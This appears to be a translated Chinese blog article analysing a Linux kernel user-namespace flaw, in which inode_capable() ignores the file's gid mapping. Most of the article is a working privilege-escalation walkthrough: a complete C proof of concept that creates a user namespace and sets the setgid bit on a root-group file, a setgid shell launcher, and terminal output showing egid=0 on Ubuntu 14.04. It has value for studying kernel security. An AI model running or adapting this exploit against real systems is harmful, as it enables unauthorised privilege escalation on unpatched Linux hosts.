我们知道,CLONE_NEWUSER名称空间在Linux 2.6.23版本中被引入,最终完成于Linux3.8(从3.8开始,非特权进程也可以创建用户名称空间)。它被用于用户和组ID号空间,即一个进程的用户和组ID可以变得无论是从内部还是外部,用户空间都不同。举个例子,一个普通(非特权)进程就可以创建一个uid为0的名称空间。
因此,一个用户名称空间内部的用户和组ID,到外部的用户和组ID间的映射是很有必要存在的。这种映射允许操作系统在当一个进程在用户名称空间内执行操作,影响到外部名称空间时执行适当的权限检查。如,文件系统访问。但是,许多的Linux文件系统对“user-namespace”的识别并不完整。
其问题就在于错误的使用inode_capable()来决定用户或组的功能。让我们看一看 inode_change_ok()函数使用 inode_capable()检查调用者是否有足够的权限来执行chown,chgrp和chmod操作:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
int inode_change_ok(const struct inode *inode, struct iattr *attr)
{
....
/* If force is set do it anyway. */
if (ia_valid & ATTR_FORCE)
return 0;
/* Make sure a caller can chown. */
if ((ia_valid & ATTR_UID) &&
(!uid_eq(current_fsuid(), inode->i_uid) ||
!uid_eq(attr->ia_uid, inode->i_uid)) &&
!inode_capable(inode, CAP_CHOWN))
return -EPERM;
/* Make sure caller can chgrp. */
....
/* Make sure a caller can chmod. */
if (ia_valid & ATTR_MODE) {
if (!inode_owner_or_capable(inode)) (1)
return -EPERM;
/* Also check the setgid bit! */
if (!in_group_p((ia_valid & ATTR_GID) ? attr->ia_gid :
inode->i_gid) &&
!inode_capable(inode, CAP_FSETID)) (2)
attr->ia_mode &= ~S_ISGID;
}
|
在(2)这里,inode_capable()被称作CAP_FSETID。inode_capable()随后基于到外部名称空间的uid和gid的映射检查调用者是否被允许执行chmod操作:
1
2
3
4
5
6
7
8
9
|
bool inode_capable(const struct inode *inode, int cap)
{
struct user_namespace *ns = current_user_ns();
return ns_capable(ns, cap) && kuid_has_mapping(ns, inode->i_uid); (3)
}
|
但是,正如(3)所见的,只是检查了inode->i_uid(而不是inode->i_gid).这意味着如果我们作为一个非特权用户(名称空间以外),拥有一个gid为0的文件(会发生什么呢),我们可以设置setgid在该文件丢失inode->i_guid的检查。不过确实,我们首先需要自己的(即我们的uid)文件,这是因为inode_owner_or_capable()会在(1)处检查:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
bool inode_owner_or_capable(const struct inode *inode)
{
if (uid_eq(current_fsuid(), inode->i_uid))
return true;
if (inode_capable(inode, CAP_FOWNER))
return true;
return false;
}
|
下面的poc演示了这个利用技术
这个例子,我将使用Ubuntu 14.04:
1
2
3
|
vnik$ uname -a
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64
|
首先,我们假设我们(vnik)拥有一个gid为0的文件:
1
2
3
4
5
6
7
|
vnik$ id
uid=1001(vnik) gid=1001(vnik) groups=1001(vnik)
vnik$ ls -al test
-rw-rw-r– 1 vnik root 0 Jun 19 13:59 test
|
因此,gid就是root,没有setuid或者setgid设置。我们创建一个用户名称空间,将我们的用户映射到root。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
|
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <assert.h>
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
struct args {
int pipe_fd[2];
char *file_path;
};
static int child(void *arg) {
struct args *f_args = (struct args *)arg;
char c;
// close stdout
close(f_args->pipe_fd[1]);
assert(read(f_args->pipe_fd[0], &c, 1) == 0);
// set the setgid bit
chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR); (5)
return 0;
}
int main(int argc, char *argv[]) {
int fd;
pid_t pid;
char mapping[1024];
char map_file[PATH_MAX];
struct args f_args;
assert(argc == 2);
f_args.file_path = argv[1];
// create a pipe for synching the child and parent
assert(pipe(f_args.pipe_fd) != -1);
pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args); (3)
assert(pid != -1);
// get the current uid outside the namespace
snprintf(mapping, 1024, “0 %d 1/n”, getuid());
// update uid and gid maps in the child
snprintf(map_file, PATH_MAX, “/proc/%ld/uid_map”, (long) pid);
fd = open(map_file, O_RDWR); assert(fd != -1);
assert(write(fd, mapping, strlen(mapping)) == strlen(mapping)); (4)
close(f_args.pipe_fd[1]);
assert (waitpid(pid, NULL, 0) != -1);
}
|
上面的代码创建了一个用户名称空间(3),一个当前用户(外部名称空间)到uid 0(内部名称空间)的映射(4)。新的名称空间内的子进程随即设置setgid(5)在目标文件。因为没有检查kgid_has_mapping(ns,inode->i_gid)在inode_capable()。我们可以设置setgid与任意gid值(即使我们不属于这个组的外部)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
vnik$ gcc poc.c -o poc
现在让我们创建一个简单的shell启动程序,来覆盖 test文件:
vnik$ cat << EOF > shell.c
int main() {
setgid(0);
execl(“/bin/bash”, “-sh”, 0);
}
EOF
|
1
2
3
4
5
|
vnik$ gcc shell.c -o shell
vnik$ cp shell test && ls -al ./test
-rw-r–r– 1 vnik root 8564 Jun 20 13:20 test
|
现在我们已经替换了test文件为我们的shell(保护gid),让我们来设置setgid:
1
2
3
4
5
6
7
8
9
10
11
|
vnik$ ./poc ./test
vnik$ ls -al ./test
-rwxr-s–- 1 vnik root 8564 Jun 20 13:20 test
vnik$ ./test
-sh-4.3$ id
uid=1000(vnik) gid=1000(vnik) egid=0(root) groups=1000(vnik)
|
我们有了egid=0。话不多说,是的,我们现在可以读取和写入文件(以前只有gid=0才能可读或可写),但是这也是无法直接root的。
这类的内核版本因为不正确的使用inode_capable()来确定用户功能,所以导致一个非特权用户“可能”能够升级其特权到root。然而,假使足够好运获得一个gid=0(或者其它什么你的目标gid)的文件。你得到了egid=0。接下来呢?我们是不是就能通过特定的方式将权限提升到root呢。
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号